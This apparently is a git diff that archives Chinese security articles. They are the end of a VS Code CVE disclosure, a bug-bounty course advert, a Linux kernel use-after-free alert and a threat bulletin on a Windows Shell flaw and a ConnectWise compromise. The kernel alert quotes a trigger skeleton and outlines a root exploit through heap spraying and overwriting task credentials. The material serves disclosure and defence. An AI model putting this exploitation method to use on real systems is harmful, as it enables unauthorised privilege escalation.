leaf="">2026年6月9日</span></section></td><td style="text-align: left;"><section><span leaf="">微软赏金团队确认该报告符合4,000美元赏金条件。</span></section></td></tr><tr><td style="text-align: left;"><section><span leaf="">2026年6月10日</span></section></td><td style="text-align: left;"><section><span leaf="">MSRC说明该报告被评定为Important、High Quality和 Improper Input Validation，并据此发放4,000美元赏金。</span></section></td></tr><tr><td style="text-align: left;"><section><span leaf="">2026年9月2日</span></section></td><td style="text-align: left;"><section><span leaf="">MSRC确认漏洞已修复，并表示将在下一个补丁星期二发布安全公告。</span></section></td></tr><tr><td style="text-align: left;"><section><span leaf="">2026年9月8日</span></section></td><td style="text-align: left;"><section><span leaf="">安全公告发布，漏洞获得编号 CVE-2026-81376。</span></section></td></tr><tr><td style="text-align: left;"><section><span leaf="">2026年9月10日</span></section></td><td style="text-align: left;"><section><span leaf="">研究人员公开披露漏洞。</span></section></td></tr></tbody></table>##
## 七、微软赏金信息
研究人员表示，微软为此次漏洞报告支付了
4,000美元的安全漏洞赏金。
根据MSRC的说明，该漏洞在微软开源赏金计划下被评定为：
- 重要级别(Important)
- 高质量报告(High Quality)
- 输入验证不当(Improper Input Validation)
这表明微软认可该问题具有安全影响，并认为研究人员提供的报告符合相应赏金计划的评估标准。
## 八、安全建议
1. 检查官方安全公告:
 通过微软或VS Code官方渠道确认漏洞影响范围、修复版本和缓解措施。
1. 及时更新软件: 
如果当前版本处于受影响范围，应按照官方公告升级至已修复版本。
1. 谨慎打开不可信项目:
 对来源不明的代码仓库和工作区保持警惕，不要轻易信任未经审查的项目。
1. 审查工作区配置: 应该
对第三方项目中的.vscode/settings.json等配置文件进行检查，关注异常设置及非预期的嵌套对象。
1. 加强开发环境防护: 
在处理不可信代码时，使用最小权限账户，并避免在包含敏感凭据的环境中直接运行未知项目。
## 九、总结
CVE-2026-81376揭示了开发工具安全机制中一个问题: 即使编辑器具备工作区信任和受限设置过滤功能，配置结构处理不一致仍可能造成安全边界绕过。
对于VS Code这类广泛用于软件开发的工具而言，工作区配置不仅影响编辑器行为，也可能与更广泛的开发环境安全相关。
目前，研究人员已确认微软完成漏洞修复并公开了相关安全公告，建议用户以官方公告为准，尽快确认自身版本是否受到影响，并采取相应更新措施。
doc/2026-10/【B站公开课】神农SRC 漏洞挖掘实战课：从 0 到 1 成为赏金猎人.md
+69
View File
@@ -0,0 +1,69 @@
# 【B站公开课】神农SRC 漏洞挖掘实战课：从 0 到 1 成为赏金猎人
原创 神农Sec
神农Sec 神农Sec 2026-10-20 01:43
  课程培训
  扫码咨询
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWXLicr9MthUBGib1nvDibDT4r6iaK4cQvn56iako5nUwJ9MGiaXFdhNMurGdFLqbD9Rs3QxGrHTAsWKmc1w/640?wx_fmt=jpeg&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaaJcib7FH02wTKvoHALAMw4fchVnBLMw4kTQ7B9oUy0RGfiacu34QEZgDpfia0sVmWrHcDZCV1Na5wDQ/640?wx_fmt=png&wxfrom=13&wx_lazy=1&wx_co=1&tp=wxpic "")
#
专注于SRC漏洞挖掘、红蓝对抗、渗透测试、代码审计JS逆向，CNVD和EDUSRC漏洞挖掘，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。加内部圈子，文末有彩蛋（课程培训限时优惠）。
#
01
0x1 【B站公开课】神农SRC 漏洞挖掘实战课：从 0 到 1 成为赏金猎人
> ❝
> **B站up主id**
：一个想当文人的黑客，简介：欢迎加入我的内部小圈子交流技术，微信公众号：**神农Sec**
，**VX：routing_love**
**链接🔗直达：**https://space.bilibili.com/642258933
![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QX8cxUhy6yqeia0XfSVMOXGkibxFBabk6QQB8R6shfq1btf3e8IOssLpVftdc7CBXJT8ztw5DBapFbqsicOnchqTa7k0ia0ib6ogNoE/640?wx_fmt=png&from=appmsg "")
课程内容不是完整，
后面有进行
剪辑，课程后期不定时进行学员上麦交流学习进度。
🍀后面会给大家不定期更新SRC漏洞挖掘、渗透测试、红蓝攻防、HVV护网行动相关课程内容。
![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QXYBeoNLgbRrrxfYia66JSpJtree95JWCGOysRbhqgGEPkfhZdLP66NtE2VxqCMPM7xDMFHAs863WoaqyHZOuU3d8jyvFnRskZI/640?wx_fmt=png&from=appmsg "")
[课程从0-1，SRC 漏洞挖掘实战课，速来挖洞回本！](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247510755&idx=1&sn=6214a7f5fa76f846db1f5f8808455767&scene=21#wechat_redirect)
[2500人已加入！强烈推荐一个永久的SRC挖掘、渗透攻防内部知识库！](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247511098&idx=1&sn=02789795925b98e8d372eaf7973607ac&scene=21#wechat_redirect)
> 本课程内容覆盖企业SRC、众测、护网HVV行动、红蓝攻防等多场景漏洞挖掘技术，包含信息收集、XSS、SQL注入、CSRF、文件包含、文件上传、Nday框架漏洞等各类漏洞实战挖掘，渗透测试工具配置，CNVD/CVE/EDUSRC 等平台漏洞提交与证书获取，同时涵盖职业规划与护网攻防实战技巧，助力从 0 到 1 成长为赏金猎人！
欢迎关注微信公众号：神农Sec，报名咨询添加微信：
routing_love
![图片](https://mmbiz.qpic.cn/mmbiz_jpg/mcko8AHj6QXiaGibdB12ufK7icXAVBKbM4bZtH0MwhGGzcJy5RkKQjN0aQ2BSRsg4ZbJibKX4nicysBOWrNmh5UTv2tcTeV2icdLC0b8lpSWgkRFo/640?wx_fmt=jpeg&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=6 "")
神农SRC漏洞挖掘公开课交流群-已满200人-添加上方🔝微信拉群
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/mcko8AHj6QXziaqZ7szZVtx8yXwDjT17ibNnUgvyeD1Cts5So1jib2s9VUCx34XmAQau3DI1aH6rXEpibibcwV8a0PLXOpJRaHunYHtfWEkNctyo/640?wx_fmt=jpeg&from=appmsg "")
欢迎关注
神农Sec
微信公众号
![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QUpl1gFGWb1UDlteBCwA1qZnZY6Nyu6XlWIgRmoJH3thicibgicZlo31mRBlicjy9UzsavIQHRyWVyAG8NDvOgiaYB15byG3Ik1fm0A/640?wx_fmt=png&from=appmsg "")
doc/2026-10/【漏洞预警】linux内核漏洞(POC已公开)已有 Android∕ARM64 的利用实现CVE-2026-98260.md
+231
View File
@@ -0,0 +1,231 @@
# 【漏洞预警】linux内核漏洞(POC已公开)已有 Android/ARM64 的利用实现CVE-2026-98260
YGnight
YGnight night安全 2026-10-20 02:41
![](https://mmbiz.qpic.cn/sz_mmbiz_png/LAQpgdWQSctVS8Ps0NsFTqMiasz8uDibcvoib0spt17ORFYGT7Lk8y0JElHpWukiczXboIicO8mrOUut0DwfE4PvMwpuReeibS0yQHqN8Tictdm4Z4/640?wx_fmt=png&from=appmsg "")
## 一、漏洞描述
<table><tbody><tr><th style="padding:10px 12px;border:1px solid #d1d5db;text-align:left;font-weight:bold;color:#1a1a1a;background-color:#f3f4f6;white-space:nowrap;"><section><span leaf="">CVE 编号</span></section></th><td style="padding:10px 12px;border:1px solid #d1d5db;color:#333;"><section><span leaf="">CVE-2026-98260</span></section></td></tr><tr><th style="padding:10px 12px;border:1px solid #d1d5db;text-align:left;font-weight:bold;color:#1a1a1a;background-color:#f3f4f6;white-space:nowrap;"><section><span leaf="">漏洞类型</span></section></th><td style="padding:10px 12px;border:1px solid #d1d5db;color:#333;"><section><span leaf="">POSIX CPU 定时器节点释放后重用，第三方漏洞库按 CWE-416 归类</span></section></td></tr><tr><th style="padding:10px 12px;border:1px solid #d1d5db;text-align:left;font-weight:bold;color:#1a1a1a;background-color:#f3f4f6;white-space:nowrap;"><section><span leaf="">受影响组件</span></section></th><td style="padding:10px 12px;border:1px solid #d1d5db;color:#333;"><section><span leaf="">fs/exec.c 的 begin_new_exec 与 kernel/time/posix-cpu-timers.c 的定时器清理逻辑，需开启 CONFIG_POSIX_TIMERS</span></section></td></tr><tr><th style="padding:10px 12px;border:1px solid #d1d5db;text-align:left;font-weight:bold;color:#1a1a1a;background-color:#f3f4f6;white-space:nowrap;"><section><span leaf="">引入提交</span></section></th><td style="padding:10px 12px;border:1px solid #d1d5db;color:#333;"><section><span leaf="">55e8c8eb2c7b，5.6-rc2 进入主线</span></section></td></tr><tr><th style="padding:10px 12px;border:1px solid #d1d5db;text-align:left;font-weight:bold;color:#1a1a1a;background-color:#f3f4f6;white-space:nowrap;"><section><span leaf="">修复提交</span></section></th><td style="padding:10px 12px;border:1px solid #d1d5db;color:#333;"><section><span leaf="">acb03d388181，7.3-rc3 之后进入主线</span></section></td></tr><tr><th style="padding:10px 12px;border:1px solid #d1d5db;text-align:left;font-weight:bold;color:#1a1a1a;background-color:#f3f4f6;white-space:nowrap;"><section><span leaf="">修复版本</span></section></th><td style="padding:10px 12px;border:1px solid #d1d5db;color:#92400e;font-weight:bold;"><section><span leaf="">主线 7.3 / 6.6.158 / 6.12.112 / 6.18.54 / 7.2.8</span></section></td></tr><tr><th style="padding:10px 12px;border:1px solid #d1d5db;text-align:left;font-weight:bold;color:#1a1a1a;background-color:#f3f4f6;white-space:nowrap;"><section><span leaf="">触发前提</span></section></th><td style="padding:10px 12px;border:1px solid #d1d5db;color:#333;"><section><span leaf="">多线程进程，非主线程持有已启动的 CLOCK_THREAD_CPUTIME_ID 定时器，execve 在 de_thread 之后的某一步失败</span></section></td></tr><tr><th style="padding:10px 12px;border:1px solid #d1d5db;text-align:left;font-weight:bold;color:#1a1a1a;background-color:#f3f4f6;white-space:nowrap;"><section><span leaf="">利用条件</span></section></th><td style="padding:10px 12px;border:1px solid #d1d5db;color:#333;"><section><span leaf="">本地执行权限，无需网络，无需用户交互，依赖信号打断可中断的锁，并推迟线程回收</span></section></td></tr><tr><th style="padding:10px 12px;border:1px solid #d1d5db;text-align:left;font-weight:bold;color:#1a1a1a;background-color:#f3f4f6;white-space:nowrap;"><section><span leaf="">危害面</span></section></th><td style="padding:10px 12px;border:1px solid #d1d5db;color:#333;"><section><span leaf="">回收时删除已释放节点造成内存破坏，公开实现把它做成写原语并改写 task 的 cred</span></section></td></tr><tr><th style="padding:10px 12px;border:1px solid #d1d5db;text-align:left;font-weight:bold;color:#1a1a1a;background-color:#f3f4f6;white-space:nowrap;"><section><span leaf="">CVSS</span></section></th><td style="padding:10px 12px;border:1px solid #d1d5db;color:#333;"><section><span leaf="">7.8，CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H，kernel.org CNA 口径；第三方另给 CVSS 4.0 的 6.8 分，只计可用性</span></section></td></tr><tr><th style="padding:10px 12px;border:1px solid #d1d5db;text-align:left;font-weight:bold;color:#1a1a1a;background-color:#f3f4f6;white-space:nowrap;"><section><span leaf="">EPSS</span></section></th><td style="padding:10px 12px;border:1px solid #d1d5db;color:#333;"><section><span leaf="">0.134%，分位 2.597%，FIRST 于 2026-10-19 更新</span></section></td></tr><tr><th style="padding:10px 12px;border:1px solid #d1d5db;text-align:left;font-weight:bold;color:#1a1a1a;background-color:#f3f4f6;white-space:nowrap;"><section><span leaf="">公开代码</span></section></th><td style="padding:10px 12px;border:1px solid #d1d5db;color:#333;"><section><span leaf="">已有 Android/ARM64 的利用实现，含竞态触发、堆布局、地址泄露与提权，偏移需从目标内核的 BTF 或符号表取得</span></section></td></tr></tbody></table>## 二、漏洞原理
timer_create 用 CLOCK_THREAD_CPUTIME_ID 建出来的定时器，认的是线程自己的 pid。
启动之后，对象本身挂在进程 signal 的定时器链表里，里面那个节点排进对应线程的定时器队列。
队列归线程所有，对象有自己的引用计数，两头的寿命本来就不绑在一起。
公开的部分利用实现代码。
// timer_lpe.c   触发线程一节的骨架
timer_create(CLOCK_THREAD_CPUTIME_ID, &ev, &timerid);   // 只盯当前这个线程
timer_settime(timerid, 0, &one_hour, NULL);            // 已启动，节点进了 B 的队列
execve("/proc/self/exe", argv, envp);                  // B 不是线程组 leader
非主线程调 execve，内核第一步要把这个进程变成单线程。
de_thread 清掉其他线程，接着用 exchange_tids 把 leader 与当前线程的 pid 对调，最后把 leader 回收掉。
定时器手里的 pid 已经查不到任何活着的 task，节点却还留在 B 的队列上。
正常路径上，begin_new_exec 靠后本来安排了一段专门的清理，摘的就是这种残留节点。
麻烦出在它的位置。
point_of_no_return 在 de_thread 之前就置上了。
unshare_files、set_mm_exe_file、exec_mmap、exec_task_namespaces 这几步里任何一个失败，任务直接转向 do_exit，够不到后面那段清理。
// fs/exec.c   v7.3-rc2   修复前
bprm->point_of_no_return = true;      // 1149 之后出错一律致命
retval = de_thread(me);               // 1152 换 TID、回收 leader
if (retval)
    goto out;
retval = exec_task_namespaces();      // 1191 这里的失败会跳到 out_unlock
if (retval)
    goto out_unlock;
spin_lock_irq(&me->sighand->siglock);
posix_cpu_timers_exit(me);            // 1197 节点本来在这里摘
spin_unlock_irq(&me->sighand->siglock);
exit_itimers(me);
flush_itimer_signals();
这时候 B 成了最后活着的线程，do_exit 走到 exit_itimers，逐个删定时器。
删除前要先拿 pid 换出那个 task。换不出来的时候，内核的处理是打一条警告、认定节点已经不在队列里，摘节点的动作整段跳过。
调用方看到的返回值仍然是成功，于是顺着往下把对象释放了。
// kernel/time/posix-cpu-timers.c   v7.3-rc2   修复前
// timer_lock_sighand 查不到 task 时
t = pid_task(timer->it.cpu.pid, type);
if (!t)
    break;                                    // 直接走人
smp_rmb();
WARN_ON_ONCE(ctmr->head || timerqueue_node_queued(&ctmr->node));
return NULL;
// posix_cpu_timer_del
p = timer_lock_sighand(timer, &flags);
if (likely(p)) {
    disarm_timer(timer, p);                    // 只有查到 task 才摘节点
    unlock_task_sighand(p, &flags);
}
if (!ret) {
    put_pid(timer->it.cpu.pid);
    timer->it_status = POSIX_TIMER_DISARMED;   // 对外仍是删除成功
}
// cleanup_timerqueue   回收时每一趟都要跑
while ((node = timerqueue_getnext(head))) {
    timerqueue_del(head, node);                // node 落在已释放的对象里
    ctmr = container_of(node, struct cpu_timer, node);
    ctmr->head = NULL;
}
B 的 task_struct 还没回收，队列的根还在，节点也没走，三个条件同时成立。
父进程一回收，内核顺着这条队列删除最靠前的节点，删的同时会读写它两侧的红黑树字段。这格子要是已经分给了别的对象，这些读写就砸在别人身上。
公开实现的做法是把这处悬空引用加工成一次写入。
先用 io_setup 建大量 AIO 环形缓冲区占住内核页面，再用 mremap 把页面搬到确定位置。
被释放的那个槽位所在的物理页因此也对上了用户态，伪造的 cred、定时器与命名空间摆在用户页里，等内核的下一次写入落到 task 的 cred 上面。
整套流程的成功率取决于堆布局和那台机器的加固情况，偏移也必须逐个内核去填，公开实现本身没有给出适用机型清单。
## 三、修复建议
主线升到7.3，长期维护的四条分支分别升到6.6.158、6.12.112、6.18.54、7.2.8
## 近期值得重点关注的漏洞预警
[【紧急漏洞预警】nacos爆出权限绕过漏洞，可以创建管理员账户，经过分析有点出处（已复现，exp脚本已编写）](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486343&idx=1&sn=b67c4eb02c03af9c3b206b1241ff7e9c&scene=21#wechat_redirect)
[【漏洞预警】Next.js爆出RCE漏洞(POC已公开)CVE-2026-96889](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486516&idx=1&sn=e254735e77df736b47896c588dde9557&scene=21#wechat_redirect)
[【漏洞预警】Nextcloud 已有服务器被写入后门](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486511&idx=1&sn=61d128896479d0eb17ad5e90a124d05e&scene=21#wechat_redirect)
[【紧急漏洞预警】GitLab整数溢出导致RCE漏洞(POC已公开)](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486505&idx=1&sn=b424220b3cbdc1f7cbcdd7b4d1ae6da5&scene=21#wechat_redirect)
[【漏洞预警】AnyDesk Linux存在堆缓冲区溢出漏洞(POC已公开)](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486500&idx=1&sn=fb8fdf3dd59e252bf04360dfabac5a3c&scene=21#wechat_redirect)
[【漏洞预警】macOS爆出路径穿越漏洞CVE-2026-84568(POC已公开)](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486490&idx=1&sn=1009bcc6cb5416474ffa0a4f499bf67a&scene=21#wechat_redirect)
[PostgreSQL爆出远程代码执行漏洞(POC已公开)](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486480&idx=1&sn=31416416494b366dc85cf4d20e0ab3ee&scene=21#wechat_redirect)
[【漏洞预警】Atlassian八款产品爆任意文件读取漏洞(附POC)](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486475&idx=1&sn=3c669c88388236c2af996ceb9782e928&scene=21#wechat_redirect)
[【漏洞预警】Joomla视频画廊扩展存在SQL注入漏洞(POC已公开)](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486469&idx=1&sn=6146142b1b0095532a2d87dcbcf738df&scene=21#wechat_redirect)
[【漏洞预警】Roundcube网页邮件客户端存在SQL注入漏洞(附POC)](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486464&idx=1&sn=93e0df392b292c72408f2c33cfb868ca&scene=21#wechat_redirect)
[WordPress页面模板存在文件包含漏洞(POC已公开)CVE-2026-87902](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486459&idx=1&sn=5dc658a83a772526773f3e87b1ac8ad0&scene=21#wechat_redirect)
[WordPress插件Forminator未认证短代码执行漏洞(poc已公开)CVE-2026-92229](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486454&idx=1&sn=64894c978fbfac86c914945580147bd9&scene=21#wechat_redirect)
[WordPress插件Authorizer存在权限提升漏洞(POC已公开)CVE-2026-81294](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486449&idx=1&sn=20a4f9a399ae34e07a27c7b6d2049e45&scene=21#wechat_redirect)
[WordPress插件MStoreAPI存在认证绕过漏洞(POC已公开)CVE-2026-13447](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486444&idx=1&sn=a22077edeab35852d6791825ebba8b10&scene=21#wechat_redirect)
[CakePHP爆出SQL注入漏洞(POC已公开)CVE-2026-77635](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486439&idx=1&sn=5030655c1d40e179369ab972ddd5dfc9&scene=21#wechat_redirect)
[Node.js模块proxy-addr爆出严重漏洞CVE-2026-90711](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486429&idx=1&sn=fc1772f8703bdd4128ac829c1ae8b371&scene=21#wechat_redirect)
[Langflow爆出代码执行漏洞CVE-2026-17633  (POC已公开)](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486424&idx=1&sn=0fec55e718cb9fb60eb91ca24307fd1a&scene=21#wechat_redirect)
[Apache CVE-2026-42536，补它只用一行，洞龄十四年](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486419&idx=1&sn=393b6baeea4f624ffa8440058c0d324e&scene=21#wechat_redirect)
[【紧急】搜狗输入法爆出远程代码执行漏洞CVE-2026-51990  ，已被在野利用](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486413&idx=1&sn=0b2c6a470a165f288873fa6bace1d77b&scene=21#wechat_redirect)
[【紧急】无需登录就能获取 GitLab 的任意文件数据(附POC)](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486408&idx=1&sn=06f47231a649e03866f9e9524b5469a4&scene=21#wechat_redirect)
[【紧急】JumpServer堡垒机被公布Access Key泄露漏洞，可以实现提权](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486403&idx=1&sn=8e4dc6a684e95b9dc5871b1aca487a57&scene=21#wechat_redirect)
[Spring Cloud Azure公布严重漏洞 无需任何权限即可取得登录会话](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486398&idx=1&sn=c64f6f82f75da584d032b99509ffc726&scene=21#wechat_redirect)
[【漏洞POC已公开】Linux RDS 爆出提权漏洞 一块内存放两次，root就到手了](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486393&idx=1&sn=629bab1cc81fbee25e8e6dd558ee155b&scene=21#wechat_redirect)
[Tenda光猫爆出严重漏洞，目前无补丁(POC已公布](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486388&idx=1&sn=eb210feb27b85439b53b10e595f7667e&scene=21#wechat_redirect)
[13 行补丁，堵住Linux能拿 root 的内核洞(EXP已公开)](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486383&idx=1&sn=a87059fbbca283a7bd64ad78280ed00a&scene=21#wechat_redirect)
[48 字节，换走一台 Windows 的 SYSTEM(CVE-2026-62735漏洞POC已公开)](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486378&idx=1&sn=f9e17fe32b6a3c67249fb4f037a3f1c6&scene=21#wechat_redirect)
[【漏洞预警】linux删个网桥就能提权root？目前没有补丁(POC已公开)](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486373&idx=1&sn=5f8bb9b0ff7c9fad75a8071c026b9f93&scene=21#wechat_redirect)
[【漏洞预警】Linux三年前补上的洞，又一次被挖开了](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486368&idx=1&sn=337dc5fa148d0b24e7dbd352a71e184f&scene=21#wechat_redirect)
[【情报】支付宝8.2亿数据泄露？给同事说一声，别自己吓自己](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486362&idx=1&sn=927fdf3d81c79a2ff8871086f0e78a8b&scene=21#wechat_redirect)
[【漏洞预警】自己注册个号，就能搬空别人的 Magento 订单和支付卡（POC已公开）](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486363&idx=1&sn=344a1f2e1a64b3b3be1509610edd2a0d&scene=21#wechat_redirect)
[【漏洞预警】Next.js 爆出新漏洞，不用登录实现命令执行(POC已公开)](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486348&idx=1&sn=350cb257c3bfc3372e2dd50f2eb13738&scene=21#wechat_redirect)
[【漏洞补丁绕过预警】Redis CVE-2026-23479变种高危漏洞，EXP已公开](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486299&idx=1&sn=7d1d8a95dad56cb021c2aa4ff549ee62&scene=21#wechat_redirect)
[【漏洞补丁绕过】超 30 万 WordPress 站点受影响，Forminator 文件上传漏洞（附POC）](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486304&idx=1&sn=a22d6632366218b72fd68b3a5cb91557&scene=21#wechat_redirect)
[【漏洞预警】Exchange爆出RCE漏洞，利用Exchange 帮另一台 Exchange 开门（POC已公开）](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486323&idx=1&sn=124dd54f863f64371f18c668d52e1fab&scene=21#wechat_redirect)
[【漏洞预警】不用登录，一个请求就能让 GeoServer 乖乖执行命令（POC已公开）](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486318&idx=1&sn=b478f775998b89579c53d4e0fbdc8c6e&scene=21#wechat_redirect)
[【漏洞预警】Keycloak不登录就能接管任意账户，双重验证也拦不住](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486309&idx=1&sn=d5c1a812f00448d397d3e3a8e78cdd45&scene=21#wechat_redirect)
[【漏洞预警】 8月WebLogic公布了9个漏洞，有一个需要重点关注](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486294&idx=1&sn=eb26bc5f8fcafc9ab402b77acdb1b2a4&scene=21#wechat_redirect)
[【漏洞预警】近期MongoDB 公布了5个漏洞，最严重的一个可以不认证、远程就能拿下你电脑](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486289&idx=1&sn=10023bdd570d9f011eef242a23f83bb6&scene=21#wechat_redirect)
[【0DAY漏洞】 全球5G手机芯片厂商之一‌的紫光展锐SOC存在RCE漏洞，影响数十家手机厂商，还未发布补丁](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486279&idx=1&sn=5e1452f6984bf3d4b4d35a2240676df5&scene=21#wechat_redirect)
[【漏洞告警】安卓 14 到 16 全中招，通讯录 SQL 注入漏洞正在抄家（POC已公开）](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486274&idx=1&sn=4bacf56f2045fca36b7b3de4be3ae591&scene=21#wechat_redirect)
[【漏洞预警】紧急排查，SMB服务再曝新漏洞，利用脚本已公开](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486251&idx=1&sn=633ed2b7d916bcf98404a7b3a9a8c4b4&scene=21#wechat_redirect)
[【漏洞预警】不用输密码，对方已经接管你的Mac：官方补丁公布macOS存在未鉴权RCE漏洞](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486246&idx=1&sn=eaf0c51686e92e89826098fcf51fb959&scene=21#wechat_redirect)
[【0day漏洞预警】MariaDB 13 爆 9.8 分 RCE 链：最低 USAGE 权限就能远程执行命令](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486225&idx=1&sn=bd13754fd9378e01a088cf996fa5b557&scene=21#wechat_redirect)
[VMware 爆 5 个洞，两个 9.8 不用密码就能打穿 vCente](https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486204&idx=1&sn=2590e283b0981541da74647ddc817282&scene=21#wechat_redirect)
![](https://mmbiz.qpic.cn/sz_mmbiz_png/LAQpgdWQSctTWicwicwovsVtMLAjYPfEB9lMRmJJiaIozWIuicwrbneXZ3pGly4lRNAd1WrP6AKYA925Iz4c1EbnMLCOqWzkCmdCLXDQibsG4VQw/640?wx_fmt=png&from=appmsg "")
doc/2026-10/【热点安全风险】10月20日｜Windows Shell 注入漏洞遭在野利用，攻击者可绕过互联网文件标记 （CVE-2026-96951）.md
+172
View File
@@ -0,0 +1,172 @@
# 【热点安全风险】10月20日｜Windows Shell 注入漏洞遭在野利用，攻击者可绕过互联网文件标记 （CVE-2026-96951）
华顺信安威胁情报中心 2026-10-19 23:30
**PART.****0****1**
风险汇总
‍
‍
‍
## 风险一：Windows Shell 命令注入漏洞已遭在野利用，攻击者可绕过互联网文件标记（CVE-2026-96951）
微软在 10 月 13 日的月度安全更新中修复了一枚 Windows Shell 命令注入漏洞（CVE-2026-96951），并标记为已检测到利用，美国网络安全和基础设施安全局同日将其纳入已知被利用漏洞目录，联邦机构整改期限为 10 月 16 日。该漏洞源于 Windows Shell 对命令中特殊元素的处理不当，攻击者可经网络绕过一项安全保护机制：使经电子邮件或即时消息投递的文件绕过来自互联网的文件标记，规避该标记本应触发的打开保护。按厂商说明，攻击者无法强制用户查看其控制的内容，须诱使用户点击链接或打开附件。受影响范围覆盖 Windows 10 多个长期服务版本、Windows 11 的 23H2 至 26H2 各分支、Windows Server 2016 至 2025 与 2012 R2，并涉及网页版邮件服务，合计 31 个产品条目；官方评级为重要，基础评分 8.8。该漏洞的危害在于攻破信任判定的起点：文件标记一旦失效，受保护视图、宏拦截与下载告警都会一并失去依据，终端侧的多层防护将建立在错误的信任前提之上。
### 建议排查
1. 核对终端与服务器是否已安装 10 月安全更新
1. 检查已下载附件的来源标记是否被清除或缺失
1. 复核邮件与即时消息中投递的可疑附件记录
### 加固建议
1. 在邮件与消息网关侧拦截可执行及脚本类附件
1. 以应用控制策略限制非白名单程序与脚本执行
1. 对终端补齐补丁合规巡检并留存投递审计
### 参考来源
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96951
## 风险二：IT运维软件厂商云备份服务应用身份遭冒用，备份与恢复能力全面停摆
IT 运维管理软件厂商 ConnectWise 于 10 月 16 日发布公告并表示，与其云备份服务关联的应用身份遭到未授权访问，随后于 10 月 19 日更新处置进展。按公告口径，厂商在 10 月 17 日 07:00 UTC 停用了七个该厂商的应用身份，撤销受影响应用连接所使用的证书并暂停云备份服务；共享凭据随即失效，但此前签发的访问令牌在过期或失效之前仍可能可用。公告说明，停用连接只能阻断新的认证，无法撤销此前已在租户内部完成的变更，经其他身份建立的凭据与权限须另行清理。目前云备份、云安全与云管理三项服务一并暂停，计划备份、归档访问与恢复功能均不可用，厂商尚未给出可确认的恢复时间；现有归档以加密方式隔离保存，未发现被访问的证据。此类服务以应用自身身份而非具体用户身份在客户环境中完成认证，授权范围往往覆盖邮件、文档、协同与目录数据，单一厂商侧的控制点失守，风险会沿已授予的信任关系向下游租户同步扩散。厂商同时说明其无法直接观察下游环境，建议合作伙伴逐个核查自有与受托管理的租户，并保持受影响应用停用至正式恢复指引发布。
### 建议排查
1. 核查自有及受托管理租户内受影响应用的身份与权限
1. 复查租户登录与审计记录中的异常应用身份认证
